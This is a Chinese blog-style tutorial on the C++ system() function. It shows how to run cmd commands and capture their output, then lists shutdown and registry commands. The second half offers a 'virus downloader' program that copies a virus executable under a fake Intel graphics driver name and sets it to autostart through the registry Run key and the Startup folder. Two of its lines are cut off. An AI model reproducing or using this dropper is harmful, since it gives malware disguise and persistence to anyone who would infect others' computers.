c++system函数————⼀个函数打天下!system函数,即DOS(磁盘操作系统)。也就是说,凡是能在cmd下运⾏的命名,都可以⽤system实现!
函数原型:int __cdecl system(const char *);
头⽂件:#include<cstdlib>
许多⼈认为头⽂件是windows.h,不过windows.h只能在视窗系统下编译
传⼊const char*类型的cmd命令,即可执⾏相应命令。
例如,如果想执⾏cmd命令“ipconfig”,只要这样写即可:system("ipconfig");
还有常见的清空输出、按任意键继续就可以写成system("cls");system("pause");
打开⽂件还可以写成system("⽂件路径");
你们敢相信吗,我曾经为了复制⼀个⽂件废了好⼏个⼩时来学习⽂件⼆进制读写,最后才发现直接⽤copy命令就⾏了……对于想要获取执⾏的cmd命令的输出 ,⽐较⽅便的⽅法就是⽤“>>“将输出的命令放到⽂件中,再从⽂件中读取即可:
1#include<cstdlib>
2#include<fstream>
3#include<iostream>
4int main(){
5 std::ofstream out;
6 out.open("C:\\a.txt");//⽤⽂件输出流创建⽂件
7 out.close();//关闭输出流
8 system("ipconfig>>C:\\a.txt");//执⾏cmd命令ipconfig,并将输出结果放到a.txt⽂件中
9 std::ifstream in;
10 in.open("C:\\a.txt");//打开⽂件输⼊流,指向a.txt
11 char a;
12 while(in>>a)std::cout<<a;
13 system("pause");
14 return 0;
15}
知道为什么我说system可以打天下吗?因为它还有这样的功能:
reg add————修改注册表项(即可添加开机⾃启动项)
ipconfig————获取电脑ip
shutdown -s -t x————x秒后关机
shutdown -r -t x————x秒后重启
shutdown -l -t x————x秒后注销
所以,我们可以写⼀个病毒的下载器:
1#include<bits/stdc++.h>
system的头文件2#include<windows.h>
3#include <unistd.h>
4#define PATH_SIZE 255
5using namespace std;
6int main(){
7 char c[PATH_SIZE];
8 if(!getcwd(c,PATH_SIZE)){
9 cout<<"⽆法到所在位置"<<endl;
10 return 0;
11 }
12 string path=c;
13 string a,b;
14 a="copy \"";
15 b="\\病毒.exe\" D:\\IntelHDGraphicsDriversforWindows(R).exe";
16 a=a+c+b;
17 system(a.data());
18 system("reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Path /t REG_SZ /d ^D:\\IntelHDGraphicsDriversforWindo
19 a="copy D:\\IntelHDGraphicsDriversforWindows(R).exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\IntelHDGraphicsDriversfo
20 system(a.data());
21 Sleep(10000);
22 return 0;
23}
也就是把病毒.exe⽂件添加开机⾃启。知道system函数的强⼤与危险了吗?知道了就点个赞吧~
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论